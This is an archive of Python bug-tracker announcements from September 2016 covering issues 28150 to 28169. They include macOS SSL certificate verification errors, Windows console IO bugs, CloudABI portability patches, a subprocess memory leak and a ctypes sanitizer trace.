Subject: [New-bugs-announce] [issue28150] Error CERTIFICATE_VERIFY_FAILED in
 macOS
Message-ID: <1473856770.26.0.3471987491.issue28150@psf.upfronthosting.co.za>


New submission from Jason R. Coombs:

I saw the notice when installing Python 3.6.0b1 on Mac that said that the bundled OpenSSL is no longer used and thus 'certifi' will need to be installed and kept up-to-date.

At first, I thought, "no big deal" and pushed forward, but since, I've encountered the error in several cases:

- pip install of anything but certifi
- pip install in a new venv of anything but certifi
- distutils upload command (even with certifi installed)

I've only had 3.6.0b1 installed for a day, so I imagine I'm going to encounter new cases. Yes, indeed:

$ python
Python 3.6.0b1 (v3.6.0b1:5b0ca4ed5e2f, Sep 12 2016, 09:24:46) 
[GCC 4.2.1 (Apple Inc. build 5666) (dot 3)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import urllib.request
>>> urllib.request.urlopen('https://www.google.com')
Traceback (most recent call last):
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/urllib/request.py", line 1318, in do_open
...
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/ssl.py", line 683, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:747)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/urllib/request.py", line 223, in urlopen
...
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/urllib/request.py", line 1320, in do_open
    raise URLError(err)
urllib.error.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:747)>
>>> import certifi


So it seems that even the guidance of installing certifi isn't sufficient to restore the basic expectation that using the stdlib to open URLs securely.

I can't imagine this behavior is acceptable (either requiring a bootstrap step in each environment or requiring some call at runtime to set up SSL before making HTTPS calls).

I no longer have the message that the installer gave me and I don't see anything in the What's New document for 3.6 about certificates.

Is this deficiency something that's planned to be corrected for the next beta? Is there a recommended procedure to enable SSL in urllib.request?

----------
components: Library (Lib)
messages: 276423
nosy: jason.coombs
priority: normal
severity: normal
status: open
title: Error CERTIFICATE_VERIFY_FAILED in macOS
type: crash
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28150>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:34:34 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 14 Sep 2016 13:34:34 +0000
Subject: [New-bugs-announce] [issue28151] testPythonOrg() of
 test_robotparser fails on validating python.org HTTPS certificate
Message-ID: <1473860074.41.0.0813459445088.issue28151@psf.upfronthosting.co.za>


New submission from STINNER Victor:

The "x86 Windows7 3.x" buildbot fails to validate python.org HTTPS certificate.

The unit test uses the clear text HTTP URL, but http://www.python.org/robots.txt returns "301 Moved Permanently" with the new link: https://www.python.org/robots.txt

Firefox sees the cert as valid on my Fedora 24.

Firefox tells me that the cert organization (O) is "Python Software Foundation" and it was emitted by (CN) "DigiCert SHA2 Extended Validation Server CA", (O) "DigiCert Inc", (OU) "www.digicert.com".

Does this buildbot lack DigitCert root CA?

http://buildbot.python.org/all/builders/x86%20Windows7%203.x/builds/11636/steps/test/logs/stdio

======================================================================
ERROR: testPythonOrg (test.test_robotparser.NetworkTestCase)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 1318, in do_open
    encode_chunked=req.has_header('Transfer-encoding'))
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\http\client.py", line 1239, in request
    self._send_request(method, url, body, headers, encode_chunked)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\http\client.py", line 1285, in _send_request
    self.endheaders(body, encode_chunked=encode_chunked)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\http\client.py", line 1234, in endheaders
    self._send_output(message_body, encode_chunked=encode_chunked)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\http\client.py", line 1026, in _send_output
    self.send(msg)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\http\client.py", line 964, in send
    self.connect()
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\http\client.py", line 1400, in connect
    server_hostname=server_hostname)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\ssl.py", line 401, in wrap_socket
    _context=self, _session=session)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\ssl.py", line 808, in __init__
    self.do_handshake()
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\ssl.py", line 1061, in do_handshake
    self._sslobj.do_handshake()
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\ssl.py", line 683, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:747)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\test_robotparser.py", line 280, in testPythonOrg
    parser.read()
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\robotparser.py", line 58, in read
    f = urllib.request.urlopen(self.url)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 223, in urlopen
    return opener.open(url, data, timeout)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 532, in open
    response = meth(req, response)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 642, in http_response
    'http', request, response, code, msg, hdrs)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 564, in error
    result = self._call_chain(*args)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 504, in _call_chain
    result = func(*args)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 756, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 526, in open
    response = self._open(req, data)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 544, in _open
    '_open', req)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 504, in _call_chain
    result = func(*args)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 1361, in https_open
    context=self._context, check_hostname=self._check_hostname)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 1320, in do_open
    raise URLError(err)
urllib.error.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:747)>

----------
components: Tests
messages: 276442
nosy: christian.heimes, haypo
priority: normal
severity: normal
status: open
title: testPythonOrg() of test_robotparser fails on validating python.org HTTPS certificate
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28151>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:45:33 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 14 Sep 2016 13:45:33 +0000
Subject: [New-bugs-announce] [issue28152] Clang warnings: code will never be
 executed
Message-ID: <1473860733.22.0.899787116787.issue28152@psf.upfronthosting.co.za>


New submission from STINNER Victor:

The issue #23545 enabled extra warnings on GCC. Clang on FreeBSD now complains about unreachable (dead) code:

http://buildbot.python.org/all/builders/AMD64%20FreeBSD%20CURRENT%20Non-Debug%203.x/builds/281/steps/compile/logs/warnings%20%2814%29

Python/ast.c:3133:5: warning: code will never be executed [-Wunreachable-code]
Modules/posixmodule.c:10256:5: warning: code will never be executed [-Wunreachable-code]
Modules/zipimport.c:1004:22: warning: code will never be executed [-Wunreachable-code]
Modules/faulthandler.c:988:5: warning: code will never be executed [-Wunreachable-code]

See also my change ea00c88f7f42 which fixed a similar issue in Parser/grammar.c.

See also the issue #14656.

----------
messages: 276448
nosy: benjamin.peterson, haypo, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Clang warnings: code will never be executed
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28152>
_______________________________________

From report at bugs.python.org  Wed Sep 14 11:00:32 2016
From: report at bugs.python.org (Ed Schouten)
Date: Wed, 14 Sep 2016 15:00:32 +0000
Subject: [New-bugs-announce] [issue28153] [Patch] selectmodule: Make
 kqueue()'s event filters optional
Message-ID: <1473865232.9.0.464670005875.issue28153@psf.upfronthosting.co.za>


New submission from Ed Schouten:

Just like the BSDs and Mac OS X, CloudABI (https://mail.python.org/pipermail/python-dev/2016-July/145708.html) provides support for kqueue(). Its implementation, however, is far more limited. It can only be used for polling on descriptors (EVFILT_READ/EVFILT_WRITE) and waiting on timers (EVFILT_TIMER).

The existing selectmodule already allows some filters to be present optionally (e.g., EVFILT_NETDEV). The attached patch extends this work by only defining the filter and corresponding filter flags when available.

I've also added guards around EV_SYSFLAGS and EV_FLAG1. EV_SYSFLAGS is a flag that's typically only used by the kernel to trim off flags that are only used internally. EV_FLAG1 is an example of such a flag, which seems to be used by FreeBSD to mark incoming AIO events as validated. I would even go as far as to remove these two flags from the module entirely, but let's not take the risk.

----------
components: Extension Modules
files: patch-kqueue-EVFILT
messages: 276459
nosy: EdSchouten
priority: normal
severity: normal
status: open
title: [Patch] selectmodule: Make kqueue()'s event filters optional
versions: Python 3.6
Added file: http://bugs.python.org/file44662/patch-kqueue-EVFILT

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28153>
_______________________________________

From report at bugs.python.org  Wed Sep 14 11:04:03 2016
From: report at bugs.python.org (Filip Stefanov)
Date: Wed, 14 Sep 2016 15:04:03 +0000
Subject: [New-bugs-announce] [issue28154] Core dump after importing lxml in
 Python3.6b
Message-ID: <1473865443.78.0.10743047881.issue28154@psf.upfronthosting.co.za>


New submission from Filip Stefanov:

fstefanov at lin-0360: ~/bin/python/vm/python3.6b/bin 
$ python

Python 3.6.0b1 (default, Sep 14 2016, 11:15:36) 
[GCC 4.8.4] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import lxml as xxl
*** Error in `python': free(): invalid pointer: 0x00007f65d052b258 ***
Aborted (core dumped)
(python3.6b) 

$ pip list | grep lxml
lxml (3.6.4)

----------
components: Interpreter Core
messages: 276460
nosy: philip.stefanov
priority: normal
severity: normal
status: open
title: Core dump after importing lxml in Python3.6b
type: crash
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28154>
_______________________________________

From report at bugs.python.org  Wed Sep 14 11:57:28 2016
From: report at bugs.python.org (=?utf-8?b?0JDQvdC00YDQtdC5INCc0L7RgNC+0LfRjNC60L4=?=)
Date: Wed, 14 Sep 2016 15:57:28 +0000
Subject: [New-bugs-announce] [issue28155] Small typo in Json docs
Message-ID: <1473868648.18.0.394667833494.issue28155@psf.upfronthosting.co.za>


New submission from ?????? ????????:

In Json module, example titled "Using json.tool from the shell to validate and pretty-print:"
5th line reads:
echo '{1.2:3.4}' | python -mjson.tool
should
echo '{1.2:3.4}' | python -m json.tool

----------
assignee: docs at python
components: Documentation
messages: 276467
nosy: docs at python, ?????? ????????
priority: normal
severity: normal
status: open
title: Small typo in Json docs
type: enhancement
versions: Python 2.7, Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28155>
_______________________________________

From report at bugs.python.org  Wed Sep 14 12:53:50 2016
From: report at bugs.python.org (Ed Schouten)
Date: Wed, 14 Sep 2016 16:53:50 +0000
Subject: [New-bugs-announce] [issue28156] [Patch] posixmodule: Make the
 presence of os.getpid() optional
Message-ID: <1473872030.91.0.717541080729.issue28156@psf.upfronthosting.co.za>


New submission from Ed Schouten:

CloudABI (https://mail.python.org/pipermail/python-dev/2016-July/145708.html) does not provide getpid(). Though this may sound quite silly at first, there is quite a good reason for this. One of the things that CloudABI wants to achieve is making large scale (cluster/cloud) computing easier. In such an environment there is rarely a need for having machine-local unique process identifiers. They have to be globally unique and preferably not recycled.

POSIX requires that pid_t is a signed integer that must have a positive value. Most C compilers only provide full support for integers up to 64 bits in size. This means that CloudABI could only provide 63-bit process identifiers, which is far smaller than, say, a UUID. For this reason we've decided to omit getpid() altogether.

Attached is a patch that makes use of the already existing HAVE_GETPID definition in pyconfig.h to disable the os.getpid() function that is part of the posixmodule.

----------
components: Extension Modules
files: patch-no-getpid
messages: 276470
nosy: EdSchouten
priority: normal
severity: normal
status: open
title: [Patch] posixmodule: Make the presence of os.getpid() optional
versions: Python 3.6
Added file: http://bugs.python.org/file44664/patch-no-getpid

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28156>
_______________________________________

From report at bugs.python.org  Wed Sep 14 15:17:06 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 14 Sep 2016 19:17:06 +0000
Subject: [New-bugs-announce] [issue28157] Document time module constants
 (timezone, tzname, etc.) as deprecated.
Message-ID: <1473880626.53.0.480703935063.issue28157@psf.upfronthosting.co.za>


New submission from Alexander Belopolsky:

The time module defines timezone, altzone, tzname and daylight constants that store information about system timezone.  This information is derived  from the timezone rules that are in effect at the module loading time, but may be incorrect for the times in the past.  The documentation should warn the user about this and recommend using the tm_zone and tm_gmtoff attributes in the result of time.localtime() to obtain timezone information.  See #22799 and msg148208.

----------
assignee: belopolsky
components: Documentation
messages: 276478
nosy: belopolsky
priority: normal
severity: normal
stage: needs patch
status: open
title: Document time module constants (timezone, tzname, etc.) as deprecated.
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28157>
_______________________________________

From report at bugs.python.org  Wed Sep 14 16:48:00 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Wed, 14 Sep 2016 20:48:00 +0000
Subject: [New-bugs-announce] [issue28158] Implement LOAD_GLOBAL opcode cache
Message-ID: <1473886080.87.0.000411119678127.issue28158@psf.upfronthosting.co.za>


New submission from Yury Selivanov:

The attached patch implements an opcode cache for LOAD_GLOBAL opcode, making it 2x faster.

The idea is to use the new co_extra field of code objects & PEP 509 to attach a cache structure pointing directly to the resolved global name.  When globals or builtins are updated, the cache is invalidated.

The patch adds a new file "ceval_cache.h" which provides some infrastructure to ease the pain of implementing new caches for other opcode types.  I can strip down all macros from that file if Victor finds it too hard to review.

Here's a simple script I used to make sure that the cache is working: https://gist.github.com/1st1/a9660aabdcf6b8bc6205b9fe39a82bba

You can also set OPCACHE_COLLECT_STATS to 1 to get debug stats output for the cache.

----------
assignee: yselivanov
components: Interpreter Core
files: load_globals_cache.patch
keywords: patch
messages: 276485
nosy: gvanrossum, haypo, yselivanov
priority: critical
severity: normal
stage: patch review
status: open
title: Implement LOAD_GLOBAL opcode cache
type: performance
versions: Python 3.6
Added file: http://bugs.python.org/file44668/load_globals_cache.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28158>
_______________________________________

From report at bugs.python.org  Wed Sep 14 17:55:13 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 14 Sep 2016 21:55:13 +0000
Subject: [New-bugs-announce] [issue28159] Deprecate isdst argument in
 email.utils.localtime
Message-ID: <1473890113.79.0.964863330823.issue28159@psf.upfronthosting.co.za>


New submission from Alexander Belopolsky:

With the implementation of PEP 495, email.utils.localtime() does not need the isdst argument to disambiguate naive time.  In fact the utility method itself is redundant given that astimezone() now works for naive instances.

----------
components: Library (Lib)
messages: 276492
nosy: belopolsky, r.david.murray
priority: normal
severity: normal
status: open
title: Deprecate isdst argument in email.utils.localtime
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28159>
_______________________________________

From report at bugs.python.org  Wed Sep 14 19:36:51 2016
From: report at bugs.python.org (Yaron Goland)
Date: Wed, 14 Sep 2016 23:36:51 +0000
Subject: [New-bugs-announce] [issue28160] Python -V and --version output to
 stderr instead of stdout
Message-ID: <1473896211.12.0.819655349887.issue28160@psf.upfronthosting.co.za>


New submission from Yaron Goland:

When running python -V or --version the output goes to stderr instead of stdout. Unless python thinks its version is an err shouldn't the result go to stdout?

----------
components: Macintosh
messages: 276496
nosy: Yaron Goland, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: Python -V and --version output to stderr instead of stdout
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28160>
_______________________________________

From report at bugs.python.org  Wed Sep 14 23:24:25 2016
From: report at bugs.python.org (Eryk Sun)
Date: Thu, 15 Sep 2016 03:24:25 +0000
Subject: [New-bugs-announce] [issue28161] Opening CON for write access fails
Message-ID: <1473909865.01.0.166181984624.issue28161@psf.upfronthosting.co.za>


New submission from Eryk Sun:

When opening the CON device the underlying CreateFile call needs to use either GENERIC_READ or GENERIC_WRITE access, but not both. Currently opening for writing fails as follows:

   >>> open('CON', 'wb', buffering=0)
   Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
   OSError: [WinError 87] The parameter is incorrect: 'CON'

If self->writable is true, it should set `access = GENERIC_WRITE`, not `access |= GENERIC_WRITE`.

This only applies to CON. It's normal to open CONIN$ and CONOUT$ with both read and write access, and WindowsConsoleIO handles that correctly.

----------
components: IO, Library (Lib), Windows
messages: 276507
nosy: eryksun, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: test needed
status: open
title: Opening CON for write access fails
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28161>
_______________________________________

From report at bugs.python.org  Wed Sep 14 23:25:17 2016
From: report at bugs.python.org (Eryk Sun)
Date: Thu, 15 Sep 2016 03:25:17 +0000
Subject: [New-bugs-announce] [issue28162] WindowsConsoleIO readall() fails
 if first line starts with Ctrl+Z
Message-ID: <1473909917.67.0.236391762597.issue28162@psf.upfronthosting.co.za>


New submission from Eryk Sun:

For a console readall(), if the first line starts with '\x1a' (i.e. Ctrl+Z), it breaks out of its read loop before incrementing len. Thus the input isn't handled properly as EOF, for which the check requires len > 0. Instead it ends up calling WideCharToMultiByte with len == 0, which fails as follows:

    >>> sys.stdin.buffer.raw.read()
    ^Z
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    OSError: [WinError 87] The parameter is incorrect

----------
components: IO, Library (Lib), Windows
messages: 276508
nosy: eryksun, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: test needed
status: open
title: WindowsConsoleIO readall() fails if first line starts with Ctrl+Z
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28162>
_______________________________________

From report at bugs.python.org  Wed Sep 14 23:26:21 2016
From: report at bugs.python.org (Eryk Sun)
Date: Thu, 15 Sep 2016 03:26:21 +0000
Subject: [New-bugs-announce] [issue28163] WindowsConsoleIO fileno() passes
 wrong flags to _open_osfhandle
Message-ID: <1473909981.28.0.381163712265.issue28163@psf.upfronthosting.co.za>


New submission from Eryk Sun:

WindowsConsoleIO fileno() gets a file descriptor on demand by calling _open_osfhandle. As a low I/O function this expects _open flags, but currently the code is passing 'rb' (int 0x7262) and 'wb' (int 0x7762). It should use _O_RDONLY | _O_BINARY and _O_WRONLY | _O_BINARY. 

Actually, _open_osfhandle isn't actually opening the file, so it only cares about a few flags. Specifically, in lowio\osfinfo.cpp I see that it looks for _O_APPEND, _O_TEXT, and _O_NOINHERIT. So in this case passing 0 for the flags would also be ok.

----------
components: IO, Library (Lib), Windows
messages: 276509
nosy: eryksun, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: WindowsConsoleIO fileno() passes wrong flags to _open_osfhandle
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28163>
_______________________________________

From report at bugs.python.org  Wed Sep 14 23:51:03 2016
From: report at bugs.python.org (Eryk Sun)
Date: Thu, 15 Sep 2016 03:51:03 +0000
Subject: [New-bugs-announce] [issue28164] _PyIO_get_console_type fails for
 various paths
Message-ID: <1473911463.84.0.00788793507165.issue28164@psf.upfronthosting.co.za>


New submission from Eryk Sun:

_PyIO_get_console_type currently hard codes the names "CON", "CONIN$", and "CONOUT$" and doesn't use a case-insensitive comparison. For example, opening "conin$" doesn't get directed to WindowsConsoleIO:

    >>> open('conin$', 'rb', buffering=0)
    <_io.FileIO name='conin$' mode='rb' closefd=True>

unlike CONIN$:

    >>> open('CONIN$', 'rb', buffering=0)
   <_io._WindowsConsoleIO mode='rb' closefd=True>

This also ignores the special handling of DOS devices in existing directories. The normal DOS-device check (i.e. if the parent directory exists, call GetFullPathName to normalize the path) isn't reliable, unfortunately. Prior to Windows 8, CreateFile special-cases parsing console paths by calling BaseIsThisAConsoleName, which has an annoying speed hack that makes it buggy. Ultimately the only way to know if a path opens the console is to open it and check the handle.

----------
components: IO, Library (Lib), Windows
messages: 276512
nosy: eryksun, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: test needed
status: open
title: _PyIO_get_console_type fails for various paths
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28164>
_______________________________________

From report at bugs.python.org  Thu Sep 15 00:31:15 2016
From: report at bugs.python.org (Xavion)
Date: Thu, 15 Sep 2016 04:31:15 +0000
Subject: [New-bugs-announce] [issue28165] The 'subprocess' module leaks
 roughly 4 KiB of memory per call
Message-ID: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>


New submission from Xavion:

Each time I run a shell command via the 'subprocess' module, I notice that the memory footprint of my program increases by roughly 4 KiB.

I've tested the problem with two different slices of code; the result is the same in either case (long after the function finishes).

Code slice 1:
    check_output("true")

Code slice 2:
    pTest = Popen("true", stdout=PIPE, stderr=PIPE)
    pTest.wait()
    pTest.stdout.close()
    pTest.stderr.close()
    del pTest
    gc.collect()

I'm using Python v3.5.2-1 on Arch Linux; it was installed via the [extra] repository.  Let me know if you need any further information.

----------
components: Library (Lib)
messages: 276514
nosy: Xavion
priority: normal
severity: normal
status: open
title: The 'subprocess' module leaks roughly 4 KiB of memory per call
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Thu Sep 15 04:10:25 2016
From: report at bugs.python.org (Eryk Sun)
Date: Thu, 15 Sep 2016 08:10:25 +0000
Subject: [New-bugs-announce] [issue28166] WindowsConsoleIO misbehavior when
 Ctrl+C is ignored
Message-ID: <1473927025.25.0.183534906845.issue28166@psf.upfronthosting.co.za>


New submission from Eryk Sun:

_PyOS_WindowsConsoleReadline should continue to read when interrupted by Ctrl+C if SIGINT is ignored or the handler doesn't raise an exception. Currently it breaks out of the read loop, which looks like an EOF:

    >>> import signal
    >>> signal.signal(signal.SIGINT, signal.SIG_IGN)
    <built-in function default_int_handler>
    >>> input()
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    EOFError 

Also, in this case Ctrl+C quits the REPL. 

Similarly sys.stdin.buffer.raw should retry a read. Instead a read(1) returns an empty string and readall() raises an exception:

    >>> sys.stdin.buffer.raw.read(1)
    b''

    >>> sys.stdin.buffer.raw.read()
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    OSError: [WinError 87] The parameter is incorrect

----------
components: IO, Library (Lib), Windows
messages: 276530
nosy: eryksun, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: test needed
status: open
title: WindowsConsoleIO misbehavior when Ctrl+C is ignored
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28166>
_______________________________________

From report at bugs.python.org  Thu Sep 15 05:50:07 2016
From: report at bugs.python.org (Matthias Klose)
Date: Thu, 15 Sep 2016 09:50:07 +0000
Subject: [New-bugs-announce] [issue28167] remove
 platform.linux_distribution()
Message-ID: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za>


New submission from Matthias Klose:

platform.linux_distribution() was deprecated in 3.5, and should be removed.

Can't be kept up to date, see #18872, #19213, #20454, #1180267, plus uncounted issues closed as won't fix.

I'm surprised that #26041 removed the removal warnings again after such a long discussion.

----------
messages: 276541
nosy: berker.peksag, doko, ned.deily
priority: normal
severity: normal
status: open
title: remove platform.linux_distribution()

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28167>
_______________________________________

From report at bugs.python.org  Thu Sep 15 06:42:49 2016
From: report at bugs.python.org (Eryk Sun)
Date: Thu, 15 Sep 2016 10:42:49 +0000
Subject: [New-bugs-announce] [issue28168] Use _winapi.WaitForMultipleObjects
 in Popen.wait()
Message-ID: <1473936169.85.0.779071092468.issue28168@psf.upfronthosting.co.za>


New submission from Eryk Sun:

On Unix, waiting on an instance of subprocess.Popen in the main thread is interruptible by Ctrl+C. On Windows, it currently calls _winapi.WaitForSingleObject, which isn't interruptible. It should instead call _winapi.WaitForMultipleObjects, which automatically adds the SIGINT event object from _PyOS_SigintEvent() when called from the main thread.

----------
components: Library (Lib), Windows
messages: 276544
nosy: eryksun, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: Use _winapi.WaitForMultipleObjects in Popen.wait()
type: enhancement
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28168>
_______________________________________

From report at bugs.python.org  Thu Sep 15 07:23:35 2016
From: report at bugs.python.org (Francisco Couzo)
Date: Thu, 15 Sep 2016 11:23:35 +0000
Subject: [New-bugs-announce] [issue28169] shift exponent overflow
Message-ID: <1473938615.31.0.984151049874.issue28169@psf.upfronthosting.co.za>


New submission from Francisco Couzo:

Steps to reproduce:
make distclean
LDFLAGS="-lasan -lubsan" CFLAGS="-fsanitize=address -fsanitize=undefined" ./configure
ASAN_OPTIONS="detect_leaks=0" make
UBSAN_OPTIONS=print_stacktrace=1 ASAN_OPTIONS="allocator_may_return_null=1:detect_leaks=0" ./python -m test.test_ctypes

/home/fran/code/cpython/Modules/_ctypes/cfield.c:580:5: runtime error: shift exponent 18446744073709551614 is too large for 32-bit type 'int'
    #0 0x7fb4b3d3f6f6 in h_get /home/fran/code/cpython/Modules/_ctypes/cfield.c:580
    #1 0x6fc95b in _PyObject_GenericGetAttrWithDict Objects/object.c:1060
    #2 0x6fc95b in PyObject_GenericGetAttr Objects/object.c:1121
    #3 0x9330a0 in builtin_getattr Python/bltinmodule.c:985
    #4 0x6e7d20 in _PyCFunction_FastCallDict Objects/methodobject.c:234
    #5 0x6e7d20 in _PyCFunction_FastCallKeywords Objects/methodobject.c:295
    #6 0x944cfc in call_function Python/ceval.c:4763
    #7 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #8 0x9407f0 in PyEval_EvalFrameEx Python/ceval.c:718
    #9 0x9407f0 in _PyFunction_FastCall Python/ceval.c:4845
    #10 0x945235 in fast_function Python/ceval.c:4880
    #11 0x945235 in call_function Python/ceval.c:4784
    #12 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #13 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #14 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #15 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #16 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #17 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #18 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #19 0x957bb0 in do_call_core Python/ceval.c:5032
    #20 0x957bb0 in _PyEval_EvalFrameDefault Python/ceval.c:3332
    #21 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #22 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #23 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #24 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #25 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #26 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #27 0x766761 in slot_tp_call Objects/typeobject.c:6146
    #28 0x5130b6 in _PyObject_FastCallDict Objects/abstract.c:2318
    #29 0x944103 in call_function Python/ceval.c:4787
    #30 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #31 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #32 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #33 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #34 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #35 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #36 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #37 0x957bb0 in do_call_core Python/ceval.c:5032
    #38 0x957bb0 in _PyEval_EvalFrameDefault Python/ceval.c:3332
    #39 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #40 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #41 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #42 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #43 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
